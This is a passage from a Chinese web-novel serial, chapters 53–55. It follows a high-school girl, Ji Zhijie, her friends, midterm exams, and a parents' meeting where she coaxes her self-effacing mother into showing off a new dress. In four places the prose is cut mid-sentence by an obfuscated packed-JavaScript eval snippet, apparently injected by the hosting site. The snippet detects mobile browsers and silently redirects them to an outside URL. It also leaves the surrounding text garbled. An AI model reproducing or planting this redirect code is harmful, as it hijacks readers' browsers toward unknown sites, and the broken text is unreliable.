季红卫看着背影都透出开心的女儿,语气略带担忧,“哪有无缘无故傻乐的人啊。” “你都说她傻了,就让她乐呗。” 柳明霞神情轻松,丝毫没有说女儿“坏话”的意识。 季知节当然不傻。 女孩悠哉悠哉地靠着墙站着,脑子里思绪乱飞。 如果让季知节为季红卫写一份档案,那么在特长那栏,季知节一定会写上此人擅长“制冰”,尤其是家庭制冰。 毕竟他是真的很擅长让气氛变冷啊!然后再把话题拖入自己的节奏。 可谓是天赋异禀。 但是这似乎也没什么大不了的。 季知节过去无数次因为这种情况感到难受、甚至还有过在饭桌上被说哭的经历。 分享欲就这样一次次被消磨殆尽。 我之前是不是都不想和他们说话了啊。 季知节想起离开家之后的自己,大学似乎是逃离父母的第一步,不需要在饭桌上聊天,不用在吃饭时被教训…… 但其实并不需要不是吗? 实在听不下去就转移话题好了,再不行就让他闭嘴,只不过可能要讲究一下方式方法。 略带撒娇语气的话和耷拉着一张脸的不愉快,想来也是前者更好接受一点吧。 父母有一套自成的逻辑和思维体系,在他的逻辑里,随口说出的话算不上训诫,只不过是气氛到了的聊天而已,虽然具体是何种气氛还有待考究。 可如果多年以后你提起某次吃饭时被骂哭的场景,他也只会随意笑一笑说:“那就叫骂人了吗,你的心理承受能力也太差了吧?” 在无法改变他们的情况下,只能改变自己。 但这并不意味着要完全听从他们的话,只不过是改变对他们的期许,放低对他们的期待,就会发现生活其实还挺美好的。 “阴奉阳违”,这不就是我们擅长做的事情吗?我可从来没标榜过自己是个好孩子呀。 季知节贴着墙踮了踮脚尖,拉伸了一下因为吃饱而变得有些懒散的身体,神清气爽地拉开椅子坐下。 今晚多写一点作业吧,明天想睡个懒觉呢。 夜晚是前所未有的平静,从窗户往外看微微亮起的几盏昏黄的灯光,云层里若隐若现的月亮,都是那样静谧而美好。 —— 所谓福祸相依,啊不是,是乐极生悲,啊也不是,是物极必反…… 总之在美好的周一,还运动会余韵还没有过去的周一,整个高一年级组迎来了特大喜讯。 “运动会过去都收收心啊,下周期中考了,考完之后,我们还要开场家长会,所有给我认真一点。” 那个在运动会上和蔼可亲的李老板似乎放完假就不见了,只剩下手握班主任大权的李老师在讲台上指点江山。 “啊啊啊啊!不是才月考完吗!” 周博承的哀嚎跨越两排直达季知节耳朵,看着李化腾转过来的视线,估摸着声音也应该是传到教室前面了。 “我也觉得,一个月过得这么快的吗?” 季知节揉了揉耳朵,悄咪咪吐槽。 “我怎么感觉压根没有一个月呢。” “就是没有一个月。”张镜推了推眼镜,“我们月考因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14783616|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 军训推迟了,但是期中考没有,和高二高三是一个时间的。” “我讨厌考试……” 一节数学课上得怨声载道,但李化腾不为所动,抓了几个声音格外大的学生,边相当自然地讲着习题了。 “所以家长会你们家里谁来啊?” 一下课于落落就趴在了桌面上,笔帽戴在手指上,戳着前面的张镜。 张镜像是没有感受到一般写着作业,面无表情地回答道:“应该是我爸,如果高一高三家长会在同一天的话。” 张镜的妈妈是高三的历史老师,也是高三的一名班主任,作为升学班的班主任,在大部分情况下十分忙碌,早出晚归是常有的事,明明在同一所学校,但是经常只有吃晚饭的时候才能碰面。 “我还有点想见严老师来着的。”于落落摇头晃脑,面露期待,“我的历史启蒙啊!” “笃行楼三楼办公室。”张镜反手薅下于落落手中的笔帽,微笑着看向女孩,“你现在过去就能看见她。” “严宴老师是你妈妈吗?” 听了半天的沈瑜好奇道。 “你认识?”张镜看向男生。 “听说过,是个非常厉害的老师。”沈瑜想起听到的传闻,“听说她班上历史均分一直是最高的,而且每年高考本科达线率都很高,是特级教师吧。” “难怪你历史那么好啊!”沈瑜有些感叹,“家学……” 还未说完的话卡在喉咙里,沈瑜的目光被突然趴到自己桌上的女孩吸引。 “你家里是姐姐来嘛?”季知节眼看着沈瑜就要说出“禁忌”之词,条件反射地拉人转移话题。 “……啊,如果我考得不好的话,我就喊我姐来吧。” 女孩撑着脸挡住张镜的视线,在看不见的地方朝着男孩挤眉弄眼。 察觉到异样的沈瑜飞速瞟了一眼班长,顺着季知节的话就开始往下说。 “我怕我妈回家家法伺候。” “我妈可能都找不到班级在哪。” 看着男孩相当识趣地止住话头,季知节满意地换了只手撑住脸,略带沧桑道。 于落落像是找到了知己一般跳了起来,扯住季知节的手上下晃动,深有同感道:“我也是啊!我昨天理照片被我妈看到,我妈居然说,你原来是三班的学生吗!” 失去脸部支撑的女孩差点脸着课桌,条件反射般移开踩在沈瑜课桌横梁上面的脚,用力踩到地面,堪堪止住向下的趋势,季知节来不及奇怪脚下的触感,神情激动地看向自己的“子期”。 “我妈也是啊!她一直以为我是四班的来着!” 眼看着两人有越聊越欢的趋势,沈瑜弱弱举手,略带卑微地看向了前面的女孩。 “那个,能高抬一下贵脚吗?” “诶?” 季知节低头,红色的帆布鞋并没有如期望般踩在坚实的地面,取而代之的是一双黑白的的板鞋。 季知节眨眼,不知道是心虚还是其他,竟然从一双鞋上看到了委屈的神情。 “软吗?” 耳旁的询问悠悠钻进女孩耳朵,季知节下意识动了动脚,真诚道:“挺软的。” “噗。” 于落落看着耳朵突然红起来的同桌和朋友,笑得格外嚣张。 53. 第 53 章 教师其实是一份相当完美的工作,体制内、工作稳定、工资不算特别低、各种福利待遇都算得上很不错、甚至一年还有两个长假,再加上体面。 在如今这个社会都是这样,更遑论时间再倒回个二十年了。 而张镜的妈妈,严晏就这样当了二十多年的老师。 而一中,不仅仅是张镜的高中,更是妈妈的母校。 严宴也曾如张镜一样,满怀憧憬踏入一中校园,在这里度过了人生中独一无二的三年,然后带着满腔热情选择了师范专业,毕业后更是一头栽进母校,在教师一行一扎根就是二十余年。 张镜敬佩母亲,数十年如一日坚守在教学第一线,如热爱生命般热爱教学,这是常人所不能及的。 但她并不亲近母亲,比起妈妈,她有时候会更愿意喊一声严老师。 不能说严老师眼睛里学生比女儿更重要,但是那双平和的眼睛在学生身上停留的时间总是比望向女儿时要长的。 要说心里有多不平衡也不至于,张镜天生早慧,很早就清楚了妈妈肩负着的责任,尤其是当严宴开始担任高三的班主任时,张镜更加清楚高考大于一切。 但是,没有子女不渴望从父母那里得到夸奖。 张镜不会忘记严宴在家里批改作业时露出的表情,也忘不了妈妈在批改到高分试卷时绽开的满意微笑。 于是张镜最开始学习的动力就变成了妈妈。 小张镜开始模仿着妈妈看书、学习,妈妈的书房里有一堆比小张镜脑袋还大的书,但妈妈说这些书不适合她,于是给她买了很多绘本、故事书。 得益于从小养成的阅读习惯和耐心,张镜正式开始上学后总是比其他人要更快一点进入学习状态。 正式的历史课是从初中开始的,或许是因为妈妈是历史老师的缘故,张镜觉得她对历史这门课总是抱有特殊的情感。每当历史老师在讲台上讲课时,张镜总会觉得自己回到了小时候妈妈抱着她讲历史故事的时候。 似乎是理所当然的,张镜的历史成绩相当好,甚至偶尔出现的引经据典都清楚地让人感知到历史功底。 再然后,张镜的妈妈是一中的历史老师这个消息不知为何传播开来。 “哇!你妈妈好厉害啊,那可是一中啊!” 是啊,那可是一中,是A市所有家长嘴里说的,只要考进去就能一只脚迈入重点大学的重点高中。 张镜与有荣焉,没错,我的妈妈就是这么厉害! “那你历史这么好你妈妈肯定教了你很多吧。” 其实只有一点啦,妈妈这几年很忙,没空陪我来着。 “历史老师的女儿历史不好才奇怪吧,也许她妈妈私下给她补习呢。” “就是啊,肯定有遗传吧,不然她历史怎么能考那么高啊!” 是玩笑话还是刺耳的讽刺呢? 张镜打开了书房的灯,实木书架上整齐地陈列着一套套书籍,记忆中两只手都无法举起的书现在已经能轻而易举的拿在手里了。 他们的表情是什么样的来着? 张镜窝进书架和墙壁夹角处的一个懒人沙发里,顺手从旁边与整个书房格格不入的绘本架上抽出一本封面花花绿绿的绘本。 好像不太记得了。 张镜翻着有些松散但还顽强生存着的绘本,脑子里乱糟糟的。 “你怎么跑到你妈书房来了啊,我看到书房灯开着以为你妈回来了呢。” 突然出现在门口的男人靠在门边一脸调侃地看向窝在沙发里的女儿。 “那个沙发要不要给你换一个啊,都旧了吧。” 张镜把绘本重新插回书架,扶着膝盖起身,语气平静:“没关系,反正也不经常坐。” “也是,不过现在看看你真的长大了好多啊,当初你妈抱着你坐在沙发里刚刚好,现在一转眼都这么久了。” “不过要不要在书房里给你加张桌子啊,你的书越来越多了吧,房间还放得下吗?不然和你妈说一下,把那个绘本架移一下,都放了那么多年了,反正你早就不看了……” “如果让妈妈知道你想动她的书房,她会不理你的。” 男人的想法一会儿一个样,张镜无奈地推这爸爸往客厅走,“而且我也不需要书房,房间就够用了啊。” “行吧行吧,那我们吃饭去吧,我饭烧好了,你妈晚上要看晚自习,又不回来吃。” 张镜随口附和,视线扫过一尘不染的绘本架和小沙发,转身带上了书房的门。 书房又重回一片黑暗。 —— 期中考带来的压力是不同于普通月考的,尤其是还跟着一个家长会的强力“售后”,几乎是所有人都在尽最大努力复习。 也正是此刻,季知节相当深刻地体会到了什么叫“地理优势”。 “沈瑜救命!” 又是熟悉的开场白。 沈瑜还没坐下多久,就看见座位前方的女孩掏出一本相当眼熟的错题本呼啦啦摊开。 “你看看这个,这个题型我又错了,我和上次那题对比了一下,为什么这个地方又不能这么算了啊?” “大敌”当前,季知节试图把一切存档,所有的大脑内存只用来存放知识点,“救命”和“这题怎么做”两句话依据科目的不同,呼叫不同的协助人员。 沈瑜接过女孩的错题本,略微思索了一下,抽出草稿纸和纸铅笔讲解了起来。 “题型差不多的,但是你仔细看看题干,它少了一个条件,你不能还没证明就默认这个结论是成立的啊。” 铅笔轻轻在两个条件上指了指,看着女孩陷入思考的神情,沈瑜随手摸了一张英语卷子开始刷。 “啊!” 反应过来的季知节相当不客气地拿笔敲了一下自己的额头,言语中充满对自己的唾弃。 “刷题刷懵了,几道题目都是能用的,这题不能我也下意识用了……” “Thanks!” 解决完心腹大患的季知节合起错题本,指了指沈瑜刚写下的一个完形填空选项。 “顺带一提,这个空虽然不知道正确答案是什么,但是绝对不选C。” 铅笔轻轻点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794721|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在了横线上前面的一个单词上,快递开口:“你要往前看一点,这里有个介词of后面肯定要填带ing的啊,你这个四个选项只有C是原型,选啥都不能选它啊。” 沈瑜默默把C划掉,艰难开口狡辩:“主要是这个of太不起眼了……” 对上女孩戏谑的目光,沈瑜叹息般开口,“我错了,我再看一遍。” 解决完了数学,季知节又带着地理投向了张镜的怀抱。 能和于落落张嘉欣讨论文综、沈瑜的理综加数学又格外突出、梁子笑的英语也不差、张镜更是几乎全方位无死角的强。 路都不用走一步,坐在座位上360度旋转一下就能很互相学习。 “期中考之后我们还能这么坐就好了!” 又是一个课间,几人争分夺秒地对完一道物理题答案,季知节看着正确率明显上升的卷子,感慨道。 “就是啊!” 出乎意料的是周博承第一个响应。 男孩笑着摊开最近几次小测验的卷子,面露得意之色,“老师那天夸我有进步了!” “天天蹭一点点讲解也能让我蹭一点分数回来。” 周博承翘着凳子晃悠悠地说道:“稳赚不赔啊!” “出息。”沈瑜轻轻啧了一声,“你回去把给你的笔记多背一背,保准你其中考试进步个大的。” 眼看着周博承已经陷入到美好的未来,于落落无奈地戳了戳那看上去像是个摆设的脑子,感叹道:“还好这小子学的是体育。” “英雄所见略同。” 陆谦毫不客气地附和道。 眼看着场面快要失控,季知节有些好笑地脱离了战场,却也没忍住希望着这一刻永远被记住。 真正期中考开始时,季知节发现自己比想象的要平静一点。 或许是因为相当清楚的知道自己把能做的都做了,无论是一题题详细研究的错题本还是其他不弄懂誓不罢休的知识点,都让季知节相当平静的面对着一张张有着油墨味的试卷。 有一句话叫做“尽人事,听天命”。 季知节赞同前半句,所以她即使晚上熬夜也要做完每天的任务,知道自己不聪明,于是对着错题一遍遍总结尝试,然后争取下次少犯甚至不犯。 可听天命? 季知节想,她其实不太想听。 天命什么的,也太傲慢了吧。 命这么虚无缥缈的东西,还是掌握在自己手里比较好,否则你怎么知道是在听天命,还是听天由命呢? 于是季知节选择多做一点,多努力一点,直到,能够主宰自己。 三天的考试期一晃而过,因为期中考而变得安静的一中校园骤然又变得热闹了起来。 周三考完紧接着就是周四周五的学习。 也是周五晚上,所有学生都带回了一个比学习还可怕的消息——家长会。 “所以下周家长会你们谁去啊?” 季知节像晒饼一样把自己扔在沙发上,有一搭没一搭地按着遥控器,看向躺在沙发上玩着手机的爸爸妈妈,开口问道。 54. 第 54 章 画着各种装饰画的墨绿色黑板被拉开,中间的智能显示屏上放着“欢迎各位家长”的幻灯片,张镜检查着讲台上麦克风的情况,时不时看一眼挂在墙上的钟表。 于落落季知节身后跟着抱着矿泉水的周博承和沈瑜,按部就班地给每张桌子摆上矿泉水,值日生细心地检查着教室的每一个角落,力求不留一点灰尘。 摆好最后一瓶矿泉水,于落落搭上了季知节的肩膀,语气调笑:“阿姨今天肯定要开心死了,我们知知宝贝这次考得那么好诶。” 季知节眉梢里都带着笑意,丝毫不客气得收下了于落落的夸赞,晃着脖子相当得意。 “那也不看看我是谁。” “呦呦呦,也是得瑟起来了哈。” 于落落一脸坏笑地看着女孩,嘴上却不饶人。 “那都是我熬过的夜,用过的笔芯啊!” 季知节面不改色,一脸理所当然,“我不得瑟谁得瑟。” 于落落一秒坐在了旁边的椅子上,撑着脑袋抬头四十五度仰望天空,语气忧伤:“这个雨太不祥了,今天就是我的葬礼,我又不是主人公。” 季知节:“……” 过多的要素让季知节捏紧了拳头,女孩抬手就锁住了于落落的脖子,手上逐渐收力,脸上却一脸微笑:“说吧,重点这么齐全,排练多久了?” 于落落吐出舌头夸张地拍着女孩的手臂,一副半死不活的样子,嘴里的话却挑衅至极。 “没多久,也就是从你拿到成绩那天开始嘛。” “……” 很好,四天了。 季知节脸上的笑意加深,语气却越发温柔,“我们一起下地狱去吧,亲爱的。” “谋杀啊!” 于落落朝着两个男生伸出手,一副命不久矣的模样。 沈瑜轻咳一声,在周博承还没反应过来之前拦住肩膀,拖着人往旁边走,“我们去把垃圾倒一下吧。” “啊?”周博承一脸问号,想要挣扎却被肩膀上的力道阻止。 “是吗,那我们去走廊看看风景吧。” 周博承简直要被气笑了。 “你就直说了呗……” 话还没说完就被捂嘴了,物理意思上的。 肩膀上的手相当快速且用力地盖上了周博承的脸,沈瑜脸上挂着相当和善的笑容。 “诶,你想说什么啊,我听不见诶,不如我们换个地方在聊好吗?” 男孩的语气温柔至极,仿佛只是在普通的聊着天,可偏偏一边笑一边威胁人的即视感太强,于落落艰难转过头,看向即视感来源,用生命调侃着:“哇,你们俩好有……”夫妻相。 一看见于落落转头,季知节就知道这张“狗嘴”里有几颗蛀牙,手上再次一个用力,女孩温柔一笑:“永别了,宝贝儿。” 于落落配合地翻出白眼,吐出舌头,俨然一副吊死鬼的模样。 “你是被勒死的,又不是上吊死的。” 张镜不知何时从讲台上下来了,看着戏一出接着一出的女孩,开口点评道:“于导你不行啊,穿帮了啊。” “你可以质疑我的学习,但是你不能质疑我的剧本。” 于落落一秒挣脱开女孩的手臂,正经道:“我主要是想编一个悬疑片,你看,她明明勒着我,但是我最后为什么会是这个样子呢,这不就是很好的题材么……” 季知节一个滑步走到张镜身边,两人双手抱胸,两个人六双眼睛盯着于落落,静静等待着下文。 “……好吧我编不下去了。” 于落落顶着两人的目光乖乖举手投降,语气无辜。 张镜推了推眼镜,“那就赶紧杀青,一会儿家长都要来了。” “好嘞,咔!” —— 柳明霞自然不知道女儿那边情景剧已经杀青的消息,女人看着一中大门口不断涌入的家长,掏出了手机打开了聊天框。 “进大门之后直走到图书馆,然后右转第一栋教学楼一楼。” 柳明霞对着季知节发过来的消息碎碎念着,慢慢跟着人群移动。 虽然一中校园实在不小,高中三个年级的家长会确实定在了同一天,所以人流量相当之大。 好在三个年级的教学楼是分开的,柳明霞观察着和自己同一个方向的家长,不自觉拢了拢身上的外套,加快了走路的步伐。 —— 季知节靠在教室外面看着教室内开始入座的家长,不禁感叹道:“天哪,妈妈们都好美啊。” 于落落疯狂点头,指着教室后排穿着大红色连衣裙,梳着精致发型和化着全套妆容的女人,一脸艳羡,“就是啊就是啊,那个是不是卓文君的妈妈啊。” “看座位应该就是的了。”张镜偏头看过去,也目露惊艳,“而且卓文君和这个阿姨也有点像,都好漂亮啊。” “是吧是吧!都是桃花眼诶。”季知节在周围搜索着卓文君的身影,“简直了,一家子美人。” 于落落也跟着转头,忽的眼睛一亮,跳起来向走廊尽头走来的人打着招呼,语气里的兴奋简直要溢了出来:“妈妈!” 季知节和张镜闻声望去,一道靓丽的身影就这样闯入了视线。 女人穿着一件浅色收腰的针织衫,袖口微微向上挽起,屈起的手臂上挂着一个白色老花纹样的包,白色的阔腿裤下一双裸色高跟鞋若隐若现,半扎发简约温婉又不失气质,就连脸上似乎都没有岁月的痕迹。 女人笑着向少女挥了挥手,脚下也不禁加快了步伐。 “哇!”季知节无声惊叹,瞥了一眼旁边的朋友,惊讶之情溢于言表。 “stop!”于落落朝季知节做了个鬼脸,“别开口,我知道你想说什么,我也不知道我妈那么成熟结果我这么闹腾的,我下次帮你问问我爸。” 季知节:“……” 这是被问过多少次啊。 季知节有些好笑地耸了耸肩,如于落落的愿闭上了嘴巴。 随着于婧琳走近,一股淡淡的香味逐渐涌入了几人的鼻腔,季知节等人乖乖打了声招呼。 于落落迫不及待地向于婧琳介绍道:“妈妈,看,我的好朋友们!” “这是季知节!还有沈瑜!周博承!” 一些完全没有重点的介绍,只是把每个人的名字报了一遍,可于婧琳像是习惯了一般,听完女儿的一通点名,然后笑着点头,“你们好,经常听落落在家念叨你们。小镜也好久不见了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803595|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张镜有些不好意思地挠了挠头,冲着于婧琳笑得乖巧。 季知节看着张镜难得小孩子做派,刚想调侃,就看见走廊处出现了一个熟悉的身影。 女孩眼睛一亮,朝着几人开口道:“不好意思,我去接一下我妈妈。” 女孩小跑着奔向穿着黑色外套的女人,在抵达女人面前时一个灵巧的迈步跳到了女人身边,挽上了女人的手,笑着开口道:“我还以为你迷路了呢。” “我又不是傻子。” 柳明霞没好气地点了点女儿的脑袋,话语里却是止不住的笑意。 “你以为我是你吗?报道都能迷路。” 女人的话语勾起了久远的记忆,季知节恍惚想起高一开学报道时自己就是差点没找到教室。女孩嘿嘿一笑,相当自然地转移了话题,示意妈妈往前看。 “喏,那些都是我的好朋友,戴眼镜那个是张镜,旁边那个是于落落和她妈妈,个子最高的是体委周博承,旁边那个是沈瑜,数学课代表。” 柳明霞顺着看过去,目光在触及某处时不由一愣,有些不自然地扯了扯衣袖,状似无意地问道:“于落落坐你旁边吗?” 季知节似乎没察觉到柳明霞的小动作,笑着抱怨道:“对啊,我不是和你说过她坐在我同桌后面嘛。” “我有点忘记了不行吗。” 柳明霞浅浅翻了个白眼,嘴上不饶人。 “那可太行了。” 季知节耸肩,带着柳明霞就走了过去。 “这是我妈妈。”季知节挽着柳明霞的手臂,朝着几人眨了眨眼睛。 “阿姨好!” 于落落声如洪钟,俏皮地向柳明霞敬了个礼。 柳明霞被声势浩大的招呼声吓了一跳,随即笑出了声,“落落你好。” 于婧琳轻轻敲了一下女儿的脑袋,有些无奈地朝柳明霞开口道:“不好意思啊,我这个女儿有点冒冒失失的。” “哪有。”柳明霞连连摆手,“小孩子都这样,这叫活泼。” “就是就是,这叫活泼。” 于落落摇头晃脑地走到柳明霞身边,一副拿着鸡毛当令箭的模样。 意料之外的亲近让柳明霞有些怔然,偏头看向了正在玩着口袋的女儿,却发现女儿完全没有解释的意思只是笑眯眯地看着于落落耍宝。 似乎是有些不忍直视女儿的搞怪,于婧琳笑着指了指教室里面,朝着柳明霞歉意一笑:“那我先进去啦。” “啊。”柳明霞一同看向教室,“我也……” “好嘞,阿姨拜拜。” 季知节朝着于婧琳挥手,不经意把柳明霞的话卡在了嘴里,没有说出来。 “我带你去!”于落落跳着奔向于婧琳,拖着女人就要往教室里走。 “不好意思阿姨,我们要去找一下我们家长了,不知道他们到哪了。”张镜看了一眼手表,有些苦恼。 柳明霞的手被季知节掏出来,托着手肘就向几人挥手。 一时间,就只剩下了柳明霞和季知节。 柳明霞再迟钝也发觉了有些不对劲,有些狐疑地看向了一脸笑眯眯的女儿,刚想开口就被先发制人了。 “妈,你怎么在裙子外面套了个黑外套啊。” 55. 第 55 章 “你说我明天穿这个裙子去参加知知家长会怎么样?” 柳明霞从衣柜里拿出一件还挂着吊牌的裙子,兴致满满地看向躺在床上刷手机的男人。 从扬声孔放出的机械电子音不知道在说着哪个朝代的故事,季红卫浅浅抬眼,不甚在意地扫了一眼,回答地确实不相干的话。 “你这裙子什么时候买的,怎么花里胡哨的。” 浅色的裙子上印着水墨画一般的图案,斜襟上的玉兰花扣精致优雅,新中式的风格正戳柳明霞的喜好。 “很花里胡哨吗?” 柳明霞打量着手里的裙子,语气里带着不确定,“这还是知知让我买的呢。” 季红卫从鼻尖里发出一声哼笑,“你还信一个小孩子的眼光啊。” “也没有那么差吧,这不挺好看的吗。” “还可以吧,但是不适合你。” 季红卫说完,又重新投入到那小小的屏幕中,仿佛发生过的一切都不值一提。 “家长会应该要不了多长时间吧,你下午结束了之后记得回来帮忙,明天有人来查货。” 柳明霞把手里的裙子重新挂回衣柜,翻身上了床,侧卧着把视线投向衣柜,可有可无地应声。 柳明霞本身已经不打算穿裙子了,就像季红卫说的,家长会只是几个小时,但是上午已经家长会结束之后的时间都还要工作。 但是当柳明霞起床时却收到了季知节的消息。 季知节:【你那条裙子有场合穿了哦!不是说找不到机会嘛!明天家长会穿啊!】 0:36 有些晚的时间在瞳孔里闪着光,柳明霞看了几秒女儿发过来的消息,最终把裙子的吊牌剪断,穿在了身上。 但不知为何,出门时,带上了一件黑色的外套。 季知节掸了掸柳明霞身上的风尘,脸上是一如既往的笑意。 “这外套挡着我都看不见你的裙子了。” 女孩的嘴里是半真半假的抱怨,“该不会又是我爸那让说了什么吧,说你不适合之类的。” 柳明霞拍了拍女儿的脑袋,脸上都是无奈,“我上午还在忙,不穿个外套等会衣服都弄脏了。” “那你在车上完全可以脱掉嘛,你不是开车来的嘛。” “我超级想看你穿这个裙子诶,这么好看的。” 季知节一张脸都快皱起来了,“我妈这么好看,我想让所有人都看见啊。” 柳明霞有些恍惚,却也只是一秒,就笑着点了点季知节的脑袋,“就知道哄我,我刚刚走过来就看见许多穿得很光鲜的家长了。” 柳明霞的视线不禁透过窗户望向了室内,刚刚还一起站在门外的女人此刻坐在狭小的凳子上,但挺直的背脊和纤长高昂的脖颈就像一只好贵的天鹅,所有人都知道,她只是暂时在这里停留而已。 “我妈妈就是最好的。” 季知节就像是没发觉柳明霞的视线一般,语气坚定,“你就是最好的。” 柳明霞喉间一哽,视线不自觉落在了女儿的脸上。 那是一双坚定而平静的眼,作为一个母亲,柳明霞觉得自己闭着眼睛都能描绘出女儿的眉眼,但此刻却不由神情恍惚。 小小的孩子已经长大,此刻已经能和母亲并肩而立,眉宇之间是不可抵挡的少年意气,她就这样站在自己的面前,用理所当然的语气说着“最好”这样孩童般天真烂漫的话语。 我是你妈妈,我当然是最好的。 谁教你说的这些甜言蜜语? 说点好听的话也不能多涨零花钱…… 柳明霞有一千种、一万种方式开口,调侃的、暖心的……但是对上那一双似乎不曾动摇的、似乎能看进内心的眼睛,柳明霞只觉得有块石头卡在嗓子,半晌无法开口。 季知节似乎完全没有察觉眼前人的异样,突然扶着柳明霞的肩膀几乎是半强迫式地推着人转了个方向。 柳明霞还没反应归来,突然散开的头发就轻轻搭在了脸庞,后方传来了季知节兴致勃勃的声音。 “离开始还有一会儿,我给你梳个头呀。” “啊?” “啊什么啊呀,你该不会就想顶着这么一头乱七八糟的头发进去开几小时会吧?” “很乱吗?” 柳明霞有些茫然地摸了摸发尾,要说乱也不至于吧,太乱了工作起来也不方便,所以一般都是随手扎个马尾或者直接盘起来,顶多是有些随意。 “你刚刚还说我是最好的,现在就来嫌弃我啊?” 柳明霞反应过来女儿是有些嫌弃自己的发型,不由有些好笑。 “那也不妨碍你变得更好啊。” 季知节弹了弹绑在手腕上的黑色皮筋,扬声道:“等我会,我去借个梳子。” “不……”不用那么麻烦了。 想要劝阻的话还没说完,季知节就只留下了一个背影,跑到了一个异常漂亮的女孩身边,不知道说了什么,两人一起走进了教室,在抽屉里掏出了一个小包裹。 —— “太感谢了!” 季知节抱着小包朝卓文君眨了眨眼,“改天请你喝可乐!” 卓文君笑着比了个耶,“我要喝可口的!” “没问题没问题!” 如预料中拿到东西的季知节还顺带拿把备用的凳子,一溜烟跑回了柳明霞身边,丝毫不客气地把人按住,把小包里的梳子拿出来,就这么大庭广众之下给柳明霞梳起了头。 柳明霞抱着小包有些坐立不安,但很快就被梳齿轻柔抚过头皮的触感安抚。 在教室门口坐着梳头的画面稍显诡异,可季知节的神情太过认真,仿佛像是雕塑家在一点点雕凿着手中的雕像。 小巧的梳子一点点从头顶梳到发尾,季知节细心地梳顺每一根发丝,然后轻轻拢在一起,一点一点开始雕琢手下的艺术品。 当沈瑜带着王清云走向教室时,就看见女孩灵巧的手指在发丝间飞舞,一个简约优雅的新中式盘发就快要成型。 阳光打在女孩身上,发丝微微泛着金光,来来往往的同学家长时不时往这边看,但女孩眼里却只有手里的发丝。 “你看看人家女儿,还能给妈妈盘头发,你能不能向人家学学!” 王清云脸带微笑,手却狠狠拧住了沈瑜的手臂,声音几乎是从牙缝里挤出来的。 有些愣神的沈瑜被疼痛感召回,男孩倒吸一口凉气,目光犹豫地看向王清云前几天刚烫完的头发,语气犹豫。 “那我一会儿去她学学?”沈瑜想当谨慎地开口问道。 “你少碰我头发,很贵的知道吗?” 王清云立刻向旁边迈了一步,语气充满嫌弃,似乎是怕男生现在就上手。 沈瑜:“……”我就知道。 “那女孩叫什么名字啊?”王清云好奇地问道。 沈瑜看着似乎在光下发着光的女孩,稳住心神,缓声道:“季知节,我前桌。” 少年慕艾是无法对父母宣之于口的秘密,但明明只需要三个字就能回答的问题,却不由地想说出更多你我之间的联系。 沈瑜按下莫名有些失常的心跳,开始庆幸旁边的人因为嫌弃而远离了一步的身影。 在王清云的唠叨声中,沈瑜走到了教室门口,与此同时,季知节看着大功告成的头发,一脸得意地拍了拍柳明霞的肩膀。 “好了好了,绝对是旷世奇作。” 任由女儿胡闹的柳明霞起身,有些无奈地附和道:“好好好,肯定很漂亮。” “……你是不是在敷衍我。” 季知节眯起眼睛下一秒就要撒泼,就听见旁边传来一道声音。 “哇!你女儿手好巧啊!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14811956|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 沈瑜看着王清云脚步一转,压根没有进教室的想法,直接和柳明霞攀谈了起来。 “啊,是嘛,我还以为她闹着玩呢。” 柳明霞看向突然开口的女人,有些不自然地摸了摸头发。 季知节乖乖打了声招呼,不动声色地拍掉了柳明霞乱动的手,目光里满是谴责。 “真的很好看了!” 王清云有些赞叹地看了一眼季知节,又把目光投向了柳明霞,“和你的裙子很搭啊。” 王清云看着没有被外套盖住的裙子,目露惊叹,“果然还是女儿贴心啊!” 季知节自得地扬起头,丝毫不害羞地收下了这份夸奖。 沈瑜看着骄傲地像只小孔雀的女孩,眼底闪过一丝笑意。 家长之间的交流从某种方面来说十分简单,沟通的桥梁就是孩子,听着王清云对女儿的夸奖,柳明霞脸上是掩饰不住的笑意,但是嘴里还是十分谦虚。 “哪里哪里,你儿子才是,一表人才,听知知说,沈瑜同学数学特别好,我们家知知还得多像他学习啊!” 